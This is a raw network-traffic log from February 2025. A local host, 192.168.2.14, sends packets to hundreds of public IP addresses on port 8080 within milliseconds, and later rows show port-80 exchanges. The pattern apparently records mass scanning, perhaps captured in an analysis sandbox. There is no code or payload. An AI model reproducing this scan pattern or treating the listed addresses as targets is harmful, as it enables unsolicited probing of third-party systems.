Feb 27, 2025 07:08:34.528024912 CET	25538	8080	192.168.2.14	62.22.155.8
Feb 27, 2025 07:08:34.528026104 CET	25538	8080	192.168.2.14	85.202.133.53
Feb 27, 2025 07:08:34.528033018 CET	25538	8080	192.168.2.14	62.63.140.222
Feb 27, 2025 07:08:34.528033018 CET	25538	8080	192.168.2.14	31.148.146.42
Feb 27, 2025 07:08:34.528048038 CET	25538	8080	192.168.2.14	94.224.193.58
Feb 27, 2025 07:08:34.528050900 CET	25538	8080	192.168.2.14	95.67.118.84
Feb 27, 2025 07:08:34.528058052 CET	25538	8080	192.168.2.14	31.6.89.174
Feb 27, 2025 07:08:34.528065920 CET	25538	8080	192.168.2.14	85.103.62.107
Feb 27, 2025 07:08:34.528078079 CET	25538	8080	192.168.2.14	95.121.130.94
Feb 27, 2025 07:08:34.528079033 CET	25538	8080	192.168.2.14	62.41.51.220
Feb 27, 2025 07:08:34.528085947 CET	25538	8080	192.168.2.14	94.194.82.78
Feb 27, 2025 07:08:34.528101921 CET	25538	8080	192.168.2.14	31.89.106.208
Feb 27, 2025 07:08:34.528105974 CET	25538	8080	192.168.2.14	95.189.119.238
Feb 27, 2025 07:08:34.528110027 CET	25538	8080	192.168.2.14	85.223.106.54
Feb 27, 2025 07:08:34.528110981 CET	25538	8080	192.168.2.14	95.23.113.93
Feb 27, 2025 07:08:34.528110027 CET	25538	8080	192.168.2.14	94.12.133.217
Feb 27, 2025 07:08:34.528115988 CET	25538	8080	192.168.2.14	95.99.96.229
Feb 27, 2025 07:08:34.528124094 CET	25538	8080	192.168.2.14	62.233.239.17
Feb 27, 2025 07:08:34.528131962 CET	25538	8080	192.168.2.14	95.174.148.46
Feb 27, 2025 07:08:34.528135061 CET	25538	8080	192.168.2.14	85.206.190.89
Feb 27, 2025 07:08:34.528147936 CET	25538	8080	192.168.2.14	95.160.19.43
Feb 27, 2025 07:08:34.528153896 CET	25538	8080	192.168.2.14	95.171.184.209
Feb 27, 2025 07:08:34.528153896 CET	25538	8080	192.168.2.14	62.35.230.251
Feb 27, 2025 07:08:34.528153896 CET	25538	8080	192.168.2.14	85.85.253.109
Feb 27, 2025 07:08:34.528165102 CET	25538	8080	192.168.2.14	95.224.250.108
Feb 27, 2025 07:08:34.528165102 CET	25538	8080	192.168.2.14	95.106.80.13
Feb 27, 2025 07:08:34.528189898 CET	25538	8080	192.168.2.14	95.242.58.128
Feb 27, 2025 07:08:34.528189898 CET	25538	8080	192.168.2.14	94.202.156.52
Feb 27, 2025 07:08:34.528189898 CET	25538	8080	192.168.2.14	85.29.245.78
Feb 27, 2025 07:08:34.528192043 CET	25538	8080	192.168.2.14	62.54.206.145
Feb 27, 2025 07:08:34.528202057 CET	25538	8080	192.168.2.14	95.61.93.92
Feb 27, 2025 07:08:34.528217077 CET	25538	8080	192.168.2.14	95.215.60.14
Feb 27, 2025 07:08:34.528228045 CET	25538	8080	192.168.2.14	95.105.192.91
Feb 27, 2025 07:08:34.528235912 CET	25538	8080	192.168.2.14	85.116.4.30
Feb 27, 2025 07:08:34.528238058 CET	25538	8080	192.168.2.14	31.250.15.159
Feb 27, 2025 07:08:34.528240919 CET	25538	8080	192.168.2.14	62.31.2.210
Feb 27, 2025 07:08:34.528248072 CET	25538	8080	192.168.2.14	85.129.186.0
Feb 27, 2025 07:08:34.528274059 CET	25538	8080	192.168.2.14	31.38.13.108
Feb 27, 2025 07:08:34.528274059 CET	25538	8080	192.168.2.14	95.127.1.21
Feb 27, 2025 07:08:34.528274059 CET	25538	8080	192.168.2.14	94.37.224.199
Feb 27, 2025 07:08:34.528283119 CET	25538	8080	192.168.2.14	95.194.98.222
Feb 27, 2025 07:08:34.528290033 CET	25538	8080	192.168.2.14	94.181.46.24
Feb 27, 2025 07:08:34.528309107 CET	25538	8080	192.168.2.14	85.137.253.196
Feb 27, 2025 07:08:34.528309107 CET	25538	8080	192.168.2.14	31.38.226.74
Feb 27, 2025 07:08:34.528318882 CET	25538	8080	192.168.2.14	94.46.23.144
Feb 27, 2025 07:08:34.528326035 CET	25538	8080	192.168.2.14	85.152.133.227
Feb 27, 2025 07:08:34.528356075 CET	25538	8080	192.168.2.14	94.176.197.61
Feb 27, 2025 07:08:34.528356075 CET	25538	8080	192.168.2.14	94.251.1.50
Feb 27, 2025 07:08:34.528372049 CET	25538	8080	192.168.2.14	85.47.107.195
Feb 27, 2025 07:08:34.528382063 CET	25538	8080	192.168.2.14	85.164.0.125
Feb 27, 2025 07:08:34.528382063 CET	25538	8080	192.168.2.14	62.96.174.213
Feb 27, 2025 07:08:34.528384924 CET	25538	8080	192.168.2.14	85.192.236.97
Feb 27, 2025 07:08:34.528393984 CET	25538	8080	192.168.2.14	31.93.80.245
Feb 27, 2025 07:08:34.528414965 CET	25538	8080	192.168.2.14	31.69.185.86
Feb 27, 2025 07:08:34.528423071 CET	25538	8080	192.168.2.14	85.50.34.233
Feb 27, 2025 07:08:34.528428078 CET	25538	8080	192.168.2.14	31.154.224.173
Feb 27, 2025 07:08:34.528428078 CET	25538	8080	192.168.2.14	31.62.19.146
Feb 27, 2025 07:08:34.528450966 CET	25538	8080	192.168.2.14	94.166.255.127
Feb 27, 2025 07:08:34.528461933 CET	25538	8080	192.168.2.14	95.232.205.142
Feb 27, 2025 07:08:34.528465033 CET	25538	8080	192.168.2.14	85.246.50.243
Feb 27, 2025 07:08:34.528481007 CET	25538	8080	192.168.2.14	31.17.220.16
Feb 27, 2025 07:08:34.528487921 CET	25538	8080	192.168.2.14	85.15.189.157
Feb 27, 2025 07:08:34.528489113 CET	25538	8080	192.168.2.14	62.237.185.208
Feb 27, 2025 07:08:34.528498888 CET	25538	8080	192.168.2.14	95.158.169.40
Feb 27, 2025 07:08:34.528501034 CET	25538	8080	192.168.2.14	95.216.75.83
Feb 27, 2025 07:08:34.528502941 CET	25538	8080	192.168.2.14	95.68.90.237
Feb 27, 2025 07:08:34.528512001 CET	25538	8080	192.168.2.14	62.193.190.8
Feb 27, 2025 07:08:34.528517008 CET	25538	8080	192.168.2.14	94.97.180.18
Feb 27, 2025 07:08:34.528527975 CET	25538	8080	192.168.2.14	62.102.20.185
Feb 27, 2025 07:08:34.528533936 CET	25538	8080	192.168.2.14	31.226.115.1
Feb 27, 2025 07:08:34.528547049 CET	25538	8080	192.168.2.14	94.238.186.115
Feb 27, 2025 07:08:34.528548956 CET	25538	8080	192.168.2.14	62.85.232.45
Feb 27, 2025 07:08:34.528553009 CET	25538	8080	192.168.2.14	62.234.4.200
Feb 27, 2025 07:08:34.528553963 CET	25538	8080	192.168.2.14	94.244.11.140
Feb 27, 2025 07:08:34.528562069 CET	25538	8080	192.168.2.14	94.202.108.255
Feb 27, 2025 07:08:34.528580904 CET	25538	8080	192.168.2.14	95.253.220.14
Feb 27, 2025 07:08:34.528589010 CET	25538	8080	192.168.2.14	94.23.158.24
Feb 27, 2025 07:08:34.528590918 CET	25538	8080	192.168.2.14	94.35.1.58
Feb 27, 2025 07:08:34.528599024 CET	25538	8080	192.168.2.14	62.36.165.156
Feb 27, 2025 07:08:34.528600931 CET	25538	8080	192.168.2.14	85.163.227.184
Feb 27, 2025 07:08:34.528604984 CET	25538	8080	192.168.2.14	62.80.136.10
Feb 27, 2025 07:08:34.528609991 CET	25538	8080	192.168.2.14	94.138.180.168
Feb 27, 2025 07:08:34.528609991 CET	25538	8080	192.168.2.14	31.247.218.92
Feb 27, 2025 07:08:34.528621912 CET	25538	8080	192.168.2.14	95.227.14.93
Feb 27, 2025 07:08:34.528631926 CET	25538	8080	192.168.2.14	62.156.180.117
Feb 27, 2025 07:08:34.528642893 CET	25538	8080	192.168.2.14	31.246.72.179
Feb 27, 2025 07:08:34.528654099 CET	25538	8080	192.168.2.14	95.1.104.200
Feb 27, 2025 07:08:34.528654099 CET	25538	8080	192.168.2.14	85.5.220.41
Feb 27, 2025 07:08:34.528654099 CET	25538	8080	192.168.2.14	31.250.75.91
Feb 27, 2025 07:08:34.528682947 CET	25538	8080	192.168.2.14	85.135.199.72
Feb 27, 2025 07:08:34.528682947 CET	25538	8080	192.168.2.14	31.124.63.129
Feb 27, 2025 07:08:34.528692007 CET	25538	8080	192.168.2.14	94.144.28.95
Feb 27, 2025 07:08:34.528693914 CET	25538	8080	192.168.2.14	62.165.127.184
Feb 27, 2025 07:08:34.528703928 CET	25538	8080	192.168.2.14	31.234.115.217
Feb 27, 2025 07:08:34.528708935 CET	25538	8080	192.168.2.14	85.235.159.208
Feb 27, 2025 07:08:34.528714895 CET	25538	8080	192.168.2.14	85.2.125.83
Feb 27, 2025 07:08:34.528739929 CET	25538	8080	192.168.2.14	94.126.125.176
Feb 27, 2025 07:08:34.528750896 CET	25538	8080	192.168.2.14	95.196.234.196
Feb 27, 2025 07:08:34.528759956 CET	25538	8080	192.168.2.14	62.158.215.12
Feb 27, 2025 07:08:34.528759956 CET	25538	8080	192.168.2.14	62.253.222.208
Feb 27, 2025 07:08:34.528768063 CET	25538	8080	192.168.2.14	94.10.76.178
Feb 27, 2025 07:08:34.528768063 CET	25538	8080	192.168.2.14	95.250.58.121
Feb 27, 2025 07:08:34.528769970 CET	25538	8080	192.168.2.14	95.2.99.51
Feb 27, 2025 07:08:34.528770924 CET	25538	8080	192.168.2.14	62.10.122.140
Feb 27, 2025 07:08:34.528779030 CET	25538	8080	192.168.2.14	85.158.145.187
Feb 27, 2025 07:08:34.528798103 CET	25538	8080	192.168.2.14	94.251.101.95
Feb 27, 2025 07:08:34.528808117 CET	25538	8080	192.168.2.14	95.225.208.241
Feb 27, 2025 07:08:34.528822899 CET	25538	8080	192.168.2.14	85.18.28.10
Feb 27, 2025 07:08:34.528825998 CET	25538	8080	192.168.2.14	62.246.240.139
Feb 27, 2025 07:08:34.528831959 CET	25538	8080	192.168.2.14	85.53.42.141
Feb 27, 2025 07:08:34.528834105 CET	25538	8080	192.168.2.14	62.0.64.139
Feb 27, 2025 07:08:34.528862000 CET	25538	8080	192.168.2.14	95.160.72.170
Feb 27, 2025 07:08:34.528863907 CET	25538	8080	192.168.2.14	85.125.22.61
Feb 27, 2025 07:08:34.528865099 CET	25538	8080	192.168.2.14	95.73.220.120
Feb 27, 2025 07:08:34.528879881 CET	25538	8080	192.168.2.14	94.188.123.121
Feb 27, 2025 07:08:34.528879881 CET	25538	8080	192.168.2.14	94.157.54.71
Feb 27, 2025 07:08:34.528887033 CET	25538	8080	192.168.2.14	95.112.158.155
Feb 27, 2025 07:08:34.528918982 CET	25538	8080	192.168.2.14	62.205.132.185
Feb 27, 2025 07:08:34.528918982 CET	25538	8080	192.168.2.14	62.131.240.36
Feb 27, 2025 07:08:34.528928995 CET	25538	8080	192.168.2.14	85.11.161.151
Feb 27, 2025 07:08:34.528937101 CET	25538	8080	192.168.2.14	94.36.113.210
Feb 27, 2025 07:08:34.528965950 CET	25538	8080	192.168.2.14	94.246.8.84
Feb 27, 2025 07:08:34.528975010 CET	25538	8080	192.168.2.14	62.167.218.156
Feb 27, 2025 07:08:34.528984070 CET	25538	8080	192.168.2.14	31.131.69.254
Feb 27, 2025 07:08:34.528985023 CET	25538	8080	192.168.2.14	85.35.231.73
Feb 27, 2025 07:08:34.528985023 CET	25538	8080	192.168.2.14	62.70.95.190
Feb 27, 2025 07:08:34.529001951 CET	25538	8080	192.168.2.14	31.137.113.153
Feb 27, 2025 07:08:34.529004097 CET	25538	8080	192.168.2.14	94.81.19.186
Feb 27, 2025 07:08:34.529015064 CET	25538	8080	192.168.2.14	62.93.15.10
Feb 27, 2025 07:08:34.529015064 CET	25538	8080	192.168.2.14	85.202.13.38
Feb 27, 2025 07:08:34.529028893 CET	25538	8080	192.168.2.14	31.148.155.145
Feb 27, 2025 07:08:34.529028893 CET	25538	8080	192.168.2.14	31.26.134.85
Feb 27, 2025 07:08:34.529028893 CET	25538	8080	192.168.2.14	95.54.144.174
Feb 27, 2025 07:08:34.529032946 CET	25538	8080	192.168.2.14	95.149.10.101
Feb 27, 2025 07:08:34.529053926 CET	25538	8080	192.168.2.14	31.213.179.52
Feb 27, 2025 07:08:34.529059887 CET	25538	8080	192.168.2.14	85.210.234.153
Feb 27, 2025 07:08:34.529078960 CET	25538	8080	192.168.2.14	62.54.218.72
Feb 27, 2025 07:08:34.529081106 CET	25538	8080	192.168.2.14	85.71.171.164
Feb 27, 2025 07:08:34.529081106 CET	25538	8080	192.168.2.14	94.19.43.250
Feb 27, 2025 07:08:34.529084921 CET	25538	8080	192.168.2.14	31.147.217.92
Feb 27, 2025 07:08:34.529094934 CET	25538	8080	192.168.2.14	31.115.111.84
Feb 27, 2025 07:08:34.529097080 CET	25538	8080	192.168.2.14	62.43.147.74
Feb 27, 2025 07:08:34.529103994 CET	25538	8080	192.168.2.14	62.213.204.221
Feb 27, 2025 07:08:34.529108047 CET	25538	8080	192.168.2.14	95.43.6.39
Feb 27, 2025 07:08:34.529108047 CET	25538	8080	192.168.2.14	31.55.228.193
Feb 27, 2025 07:08:34.529109955 CET	25538	8080	192.168.2.14	62.68.221.245
Feb 27, 2025 07:08:34.529114008 CET	25538	8080	192.168.2.14	94.79.176.169
Feb 27, 2025 07:08:34.529144049 CET	25538	8080	192.168.2.14	85.241.231.232
Feb 27, 2025 07:08:34.529151917 CET	25538	8080	192.168.2.14	85.154.8.251
Feb 27, 2025 07:08:34.529158115 CET	25538	8080	192.168.2.14	62.200.93.224
Feb 27, 2025 07:08:34.529164076 CET	25538	8080	192.168.2.14	85.59.26.245
Feb 27, 2025 07:08:34.529176950 CET	25538	8080	192.168.2.14	85.92.195.187
Feb 27, 2025 07:08:34.529186964 CET	25538	8080	192.168.2.14	62.250.220.252
Feb 27, 2025 07:08:34.529187918 CET	25538	8080	192.168.2.14	94.116.154.28
Feb 27, 2025 07:08:34.529187918 CET	25538	8080	192.168.2.14	31.245.148.86
Feb 27, 2025 07:08:34.529195070 CET	25538	8080	192.168.2.14	94.137.129.20
Feb 27, 2025 07:08:34.529227972 CET	25538	8080	192.168.2.14	94.158.65.72
Feb 27, 2025 07:08:34.529230118 CET	25538	8080	192.168.2.14	31.31.176.220
Feb 27, 2025 07:08:34.529232025 CET	25538	8080	192.168.2.14	95.236.200.157
Feb 27, 2025 07:08:34.529232025 CET	25538	8080	192.168.2.14	85.15.186.239
Feb 27, 2025 07:08:34.529247046 CET	25538	8080	192.168.2.14	94.137.182.47
Feb 27, 2025 07:08:34.529247999 CET	25538	8080	192.168.2.14	95.24.9.65
Feb 27, 2025 07:08:34.529251099 CET	25538	8080	192.168.2.14	85.8.155.88
Feb 27, 2025 07:08:34.529253960 CET	25538	8080	192.168.2.14	31.198.115.74
Feb 27, 2025 07:08:34.529289007 CET	25538	8080	192.168.2.14	85.133.108.160
Feb 27, 2025 07:08:34.529299974 CET	25538	8080	192.168.2.14	62.129.175.47
Feb 27, 2025 07:08:34.529299974 CET	25538	8080	192.168.2.14	62.197.146.98
Feb 27, 2025 07:08:34.529315948 CET	25538	8080	192.168.2.14	94.53.136.76
Feb 27, 2025 07:08:34.529319048 CET	25538	8080	192.168.2.14	31.1.34.13
Feb 27, 2025 07:08:34.529321909 CET	25538	8080	192.168.2.14	85.129.45.147
Feb 27, 2025 07:08:34.529335976 CET	25538	8080	192.168.2.14	31.255.208.238
Feb 27, 2025 07:08:34.529342890 CET	25538	8080	192.168.2.14	31.195.49.137
Feb 27, 2025 07:08:34.529346943 CET	25538	8080	192.168.2.14	94.152.180.185
Feb 27, 2025 07:08:34.529356003 CET	25538	8080	192.168.2.14	94.103.171.60
Feb 27, 2025 07:08:34.529364109 CET	25538	8080	192.168.2.14	94.135.98.95
Feb 27, 2025 07:08:34.529366016 CET	25538	8080	192.168.2.14	31.147.17.15
Feb 27, 2025 07:08:34.529376984 CET	25538	8080	192.168.2.14	85.196.76.106
Feb 27, 2025 07:08:34.529397011 CET	25538	8080	192.168.2.14	94.21.78.95
Feb 27, 2025 07:08:34.529398918 CET	25538	8080	192.168.2.14	31.196.254.178
Feb 27, 2025 07:08:34.529411077 CET	25538	8080	192.168.2.14	95.224.35.144
Feb 27, 2025 07:08:34.529416084 CET	25538	8080	192.168.2.14	95.86.142.154
Feb 27, 2025 07:08:34.529422045 CET	25538	8080	192.168.2.14	95.36.105.69
Feb 27, 2025 07:08:34.529431105 CET	25538	8080	192.168.2.14	94.45.37.219
Feb 27, 2025 07:08:34.529457092 CET	25538	8080	192.168.2.14	85.78.199.165
Feb 27, 2025 07:08:34.529470921 CET	25538	8080	192.168.2.14	85.88.30.85
Feb 27, 2025 07:08:34.529473066 CET	25538	8080	192.168.2.14	94.52.64.231
Feb 27, 2025 07:08:34.529484987 CET	25538	8080	192.168.2.14	85.192.101.22
Feb 27, 2025 07:08:34.529493093 CET	25538	8080	192.168.2.14	62.248.193.148
Feb 27, 2025 07:08:34.529495955 CET	25538	8080	192.168.2.14	31.43.241.152
Feb 27, 2025 07:08:34.529499054 CET	25538	8080	192.168.2.14	62.162.160.194
Feb 27, 2025 07:08:34.529525995 CET	25538	8080	192.168.2.14	94.39.49.207
Feb 27, 2025 07:08:34.529525995 CET	25538	8080	192.168.2.14	85.217.119.54
Feb 27, 2025 07:08:34.529539108 CET	25538	8080	192.168.2.14	85.70.34.120
Feb 27, 2025 07:08:34.529546976 CET	25538	8080	192.168.2.14	85.177.198.133
Feb 27, 2025 07:08:34.529552937 CET	25538	8080	192.168.2.14	95.65.178.169
Feb 27, 2025 07:08:34.529558897 CET	25538	8080	192.168.2.14	62.188.240.57
Feb 27, 2025 07:08:34.529560089 CET	25538	8080	192.168.2.14	94.255.131.109
Feb 27, 2025 07:08:34.529565096 CET	25538	8080	192.168.2.14	94.27.46.118
Feb 27, 2025 07:08:34.529571056 CET	25538	8080	192.168.2.14	85.246.121.142
Feb 27, 2025 07:08:34.529571056 CET	25538	8080	192.168.2.14	94.53.190.143
Feb 27, 2025 07:08:34.529573917 CET	25538	8080	192.168.2.14	31.81.63.65
Feb 27, 2025 07:08:34.529591084 CET	25538	8080	192.168.2.14	85.156.2.126
Feb 27, 2025 07:08:34.529606104 CET	25538	8080	192.168.2.14	85.95.94.203
Feb 27, 2025 07:08:34.529614925 CET	25538	8080	192.168.2.14	95.96.2.6
Feb 27, 2025 07:08:34.529623985 CET	25538	8080	192.168.2.14	94.219.169.75
Feb 27, 2025 07:08:34.529624939 CET	25538	8080	192.168.2.14	62.207.127.75
Feb 27, 2025 07:08:34.529624939 CET	25538	8080	192.168.2.14	31.215.222.149
Feb 27, 2025 07:08:34.529650927 CET	25538	8080	192.168.2.14	95.253.56.139
Feb 27, 2025 07:08:34.529659986 CET	25538	8080	192.168.2.14	85.144.106.36
Feb 27, 2025 07:08:34.529660940 CET	25538	8080	192.168.2.14	85.81.166.123
Feb 27, 2025 07:08:34.529659986 CET	25538	8080	192.168.2.14	62.186.211.251
Feb 27, 2025 07:08:34.529675961 CET	25538	8080	192.168.2.14	85.89.174.168
Feb 27, 2025 07:08:34.529678106 CET	25538	8080	192.168.2.14	62.178.15.243
Feb 27, 2025 07:08:34.529685020 CET	25538	8080	192.168.2.14	31.6.86.178
Feb 27, 2025 07:08:34.529700994 CET	25538	8080	192.168.2.14	85.96.24.236
Feb 27, 2025 07:08:34.529705048 CET	25538	8080	192.168.2.14	31.131.207.146
Feb 27, 2025 07:08:34.529705048 CET	25538	8080	192.168.2.14	85.78.192.75
Feb 27, 2025 07:08:34.529705048 CET	25538	8080	192.168.2.14	62.65.191.198
Feb 27, 2025 07:08:34.529706955 CET	25538	8080	192.168.2.14	62.192.119.56
Feb 27, 2025 07:08:34.529732943 CET	25538	8080	192.168.2.14	31.41.134.37
Feb 27, 2025 07:08:34.529732943 CET	25538	8080	192.168.2.14	95.99.234.139
Feb 27, 2025 07:08:34.529732943 CET	25538	8080	192.168.2.14	85.94.155.176
Feb 27, 2025 07:08:34.529741049 CET	25538	8080	192.168.2.14	95.112.49.179
Feb 27, 2025 07:08:34.529742956 CET	25538	8080	192.168.2.14	31.176.36.110
Feb 27, 2025 07:08:34.529746056 CET	25538	8080	192.168.2.14	95.214.47.241
Feb 27, 2025 07:08:34.529757023 CET	25538	8080	192.168.2.14	95.7.126.251
Feb 27, 2025 07:08:34.529763937 CET	25538	8080	192.168.2.14	62.24.37.215
Feb 27, 2025 07:08:34.529764891 CET	25538	8080	192.168.2.14	95.153.73.4
Feb 27, 2025 07:08:34.529772997 CET	25538	8080	192.168.2.14	95.249.130.172
Feb 27, 2025 07:08:34.529772997 CET	25538	8080	192.168.2.14	95.157.195.126
Feb 27, 2025 07:08:34.529792070 CET	25538	8080	192.168.2.14	95.33.1.3
Feb 27, 2025 07:08:34.529792070 CET	25538	8080	192.168.2.14	95.90.222.226
Feb 27, 2025 07:08:34.529798031 CET	25538	8080	192.168.2.14	95.245.108.104
Feb 27, 2025 07:08:34.529798985 CET	25538	8080	192.168.2.14	95.11.98.121
Feb 27, 2025 07:08:34.529802084 CET	25538	8080	192.168.2.14	95.76.55.241
Feb 27, 2025 07:08:34.529819012 CET	25538	8080	192.168.2.14	85.143.62.137
Feb 27, 2025 07:08:34.529819012 CET	25538	8080	192.168.2.14	31.172.240.249
Feb 27, 2025 07:08:34.529828072 CET	25538	8080	192.168.2.14	62.247.95.84
Feb 27, 2025 07:08:34.529829025 CET	25538	8080	192.168.2.14	94.121.89.17
Feb 27, 2025 07:08:34.529835939 CET	25538	8080	192.168.2.14	95.68.49.202
Feb 27, 2025 07:08:34.529845953 CET	25538	8080	192.168.2.14	85.195.12.101
Feb 27, 2025 07:08:34.529845953 CET	25538	8080	192.168.2.14	94.210.174.79
Feb 27, 2025 07:08:34.529851913 CET	25538	8080	192.168.2.14	62.40.32.147
Feb 27, 2025 07:08:34.529860020 CET	25538	8080	192.168.2.14	95.92.222.75
Feb 27, 2025 07:08:34.529860020 CET	25538	8080	192.168.2.14	31.187.90.192
Feb 27, 2025 07:08:34.529879093 CET	25538	8080	192.168.2.14	85.3.15.208
Feb 27, 2025 07:08:34.529905081 CET	25538	8080	192.168.2.14	95.130.208.100
Feb 27, 2025 07:08:34.529905081 CET	25538	8080	192.168.2.14	94.110.46.244
Feb 27, 2025 07:08:34.529911995 CET	25538	8080	192.168.2.14	95.243.196.170
Feb 27, 2025 07:08:34.529915094 CET	25538	8080	192.168.2.14	95.109.71.220
Feb 27, 2025 07:08:34.529917002 CET	25538	8080	192.168.2.14	95.194.151.56
Feb 27, 2025 07:08:34.529917955 CET	25538	8080	192.168.2.14	31.25.11.201
Feb 27, 2025 07:08:34.529932022 CET	25538	8080	192.168.2.14	31.213.199.150
Feb 27, 2025 07:08:34.529942036 CET	25538	8080	192.168.2.14	62.170.28.131
Feb 27, 2025 07:08:34.529948950 CET	25538	8080	192.168.2.14	94.158.30.162
Feb 27, 2025 07:08:34.529964924 CET	25538	8080	192.168.2.14	31.242.184.56
Feb 27, 2025 07:08:34.529964924 CET	25538	8080	192.168.2.14	94.84.70.135
Feb 27, 2025 07:08:34.529967070 CET	25538	8080	192.168.2.14	95.105.63.5
Feb 27, 2025 07:08:34.529968977 CET	25538	8080	192.168.2.14	62.17.246.134
Feb 27, 2025 07:08:34.529983997 CET	25538	8080	192.168.2.14	31.196.198.90
Feb 27, 2025 07:08:34.529984951 CET	25538	8080	192.168.2.14	85.170.58.74
Feb 27, 2025 07:08:34.529993057 CET	25538	8080	192.168.2.14	62.209.169.3
Feb 27, 2025 07:08:34.529999018 CET	25538	8080	192.168.2.14	94.122.145.61
Feb 27, 2025 07:08:34.530014038 CET	25538	8080	192.168.2.14	85.27.33.224
Feb 27, 2025 07:08:34.530016899 CET	25538	8080	192.168.2.14	62.165.194.201
Feb 27, 2025 07:08:34.530019999 CET	25538	8080	192.168.2.14	94.211.175.239
Feb 27, 2025 07:08:34.530030012 CET	25538	8080	192.168.2.14	85.64.51.238
Feb 27, 2025 07:08:34.530041933 CET	25538	8080	192.168.2.14	95.197.82.150
Feb 27, 2025 07:08:34.530056000 CET	25538	8080	192.168.2.14	31.197.5.227
Feb 27, 2025 07:08:34.530065060 CET	25538	8080	192.168.2.14	94.165.4.240
Feb 27, 2025 07:08:34.530086040 CET	25538	8080	192.168.2.14	95.199.122.142
Feb 27, 2025 07:08:34.530086040 CET	25538	8080	192.168.2.14	62.136.26.43
Feb 27, 2025 07:08:34.530087948 CET	25538	8080	192.168.2.14	31.184.68.222
Feb 27, 2025 07:08:34.530086040 CET	25538	8080	192.168.2.14	31.30.98.66
Feb 27, 2025 07:08:34.530086040 CET	25538	8080	192.168.2.14	85.139.151.188
Feb 27, 2025 07:08:34.530113935 CET	25538	8080	192.168.2.14	85.20.112.36
Feb 27, 2025 07:08:34.530122995 CET	25538	8080	192.168.2.14	95.63.202.118
Feb 27, 2025 07:08:34.530122995 CET	25538	8080	192.168.2.14	85.127.184.45
Feb 27, 2025 07:08:34.530134916 CET	25538	8080	192.168.2.14	95.143.62.50
Feb 27, 2025 07:08:34.530137062 CET	25538	8080	192.168.2.14	31.191.102.228
Feb 27, 2025 07:08:34.530142069 CET	25538	8080	192.168.2.14	95.181.14.174
Feb 27, 2025 07:08:34.530143976 CET	80	28098	95.45.52.12	192.168.2.14
Feb 27, 2025 07:08:34.530150890 CET	25538	8080	192.168.2.14	62.244.13.179
Feb 27, 2025 07:08:34.530157089 CET	80	28098	95.206.172.103	192.168.2.14
Feb 27, 2025 07:08:34.530165911 CET	25538	8080	192.168.2.14	31.33.57.99
Feb 27, 2025 07:08:34.530168056 CET	25538	8080	192.168.2.14	94.116.216.62
Feb 27, 2025 07:08:34.530169010 CET	80	28098	95.78.36.212	192.168.2.14
Feb 27, 2025 07:08:34.530173063 CET	25538	8080	192.168.2.14	85.25.111.158
Feb 27, 2025 07:08:34.530174971 CET	25538	8080	192.168.2.14	95.113.2.83
Feb 27, 2025 07:08:34.530180931 CET	80	28098	95.248.45.40	192.168.2.14
Feb 27, 2025 07:08:34.530191898 CET	80	28098	95.131.113.215	192.168.2.14
Feb 27, 2025 07:08:34.530194044 CET	28098	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:34.530196905 CET	25538	8080	192.168.2.14	62.177.136.203
Feb 27, 2025 07:08:34.530196905 CET	28098	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:34.530196905 CET	25538	8080	192.168.2.14	94.108.84.34
Feb 27, 2025 07:08:34.530203104 CET	80	28098	95.83.246.242	192.168.2.14
Feb 27, 2025 07:08:34.530214071 CET	80	28098	95.252.14.4	192.168.2.14
Feb 27, 2025 07:08:34.530215979 CET	28098	80	192.168.2.14	95.78.36.212
Feb 27, 2025 07:08:34.530220032 CET	80	28098	95.251.67.121	192.168.2.14
Feb 27, 2025 07:08:34.530226946 CET	25538	8080	192.168.2.14	94.216.13.210
Feb 27, 2025 07:08:34.530226946 CET	80	28098	95.151.116.189	192.168.2.14
Feb 27, 2025 07:08:34.530227900 CET	25538	8080	192.168.2.14	85.45.8.105
Feb 27, 2025 07:08:34.530227900 CET	25538	8080	192.168.2.14	85.75.89.178
Feb 27, 2025 07:08:34.530230045 CET	28098	80	192.168.2.14	95.248.45.40
Feb 27, 2025 07:08:34.530234098 CET	25538	8080	192.168.2.14	31.67.109.179
Feb 27, 2025 07:08:34.530239105 CET	80	28098	95.119.124.70	192.168.2.14
Feb 27, 2025 07:08:34.530241013 CET	28098	80	192.168.2.14	95.131.113.215
Feb 27, 2025 07:08:34.530241013 CET	25538	8080	192.168.2.14	31.215.101.52
Feb 27, 2025 07:08:34.530246019 CET	28098	80	192.168.2.14	95.83.246.242
Feb 27, 2025 07:08:34.530251980 CET	80	28098	95.204.130.116	192.168.2.14
Feb 27, 2025 07:08:34.530261993 CET	25538	8080	192.168.2.14	85.248.53.218
Feb 27, 2025 07:08:34.530263901 CET	80	28098	95.86.78.189	192.168.2.14
Feb 27, 2025 07:08:34.530266047 CET	28098	80	192.168.2.14	95.251.67.121
Feb 27, 2025 07:08:34.530266047 CET	25538	8080	192.168.2.14	85.12.150.170
Feb 27, 2025 07:08:34.530267954 CET	25538	8080	192.168.2.14	85.150.136.7
Feb 27, 2025 07:08:34.530270100 CET	28098	80	192.168.2.14	95.252.14.4
Feb 27, 2025 07:08:34.530276060 CET	80	28098	95.131.111.23	192.168.2.14
Feb 27, 2025 07:08:34.530287027 CET	80	28098	95.204.123.18	192.168.2.14
Feb 27, 2025 07:08:34.530287981 CET	28098	80	192.168.2.14	95.151.116.189
Feb 27, 2025 07:08:34.530287981 CET	25538	8080	192.168.2.14	85.255.107.106
Feb 27, 2025 07:08:34.530296087 CET	25538	8080	192.168.2.14	94.146.141.188
Feb 27, 2025 07:08:34.530297995 CET	28098	80	192.168.2.14	95.119.124.70
Feb 27, 2025 07:08:34.530298948 CET	80	28098	95.166.10.145	192.168.2.14
Feb 27, 2025 07:08:34.530298948 CET	28098	80	192.168.2.14	95.204.130.116
Feb 27, 2025 07:08:34.530304909 CET	28098	80	192.168.2.14	95.86.78.189
Feb 27, 2025 07:08:34.530312061 CET	80	28098	95.245.219.98	192.168.2.14
Feb 27, 2025 07:08:34.530314922 CET	25538	8080	192.168.2.14	85.208.1.205
Feb 27, 2025 07:08:34.530314922 CET	28098	80	192.168.2.14	95.131.111.23
Feb 27, 2025 07:08:34.530314922 CET	28098	80	192.168.2.14	95.204.123.18
Feb 27, 2025 07:08:34.530324936 CET	80	28098	95.12.183.45	192.168.2.14
Feb 27, 2025 07:08:34.530325890 CET	25538	8080	192.168.2.14	95.153.215.95
Feb 27, 2025 07:08:34.530328989 CET	28098	80	192.168.2.14	95.166.10.145
Feb 27, 2025 07:08:34.530332088 CET	25538	8080	192.168.2.14	94.228.151.255
Feb 27, 2025 07:08:34.530333996 CET	25538	8080	192.168.2.14	31.213.93.12
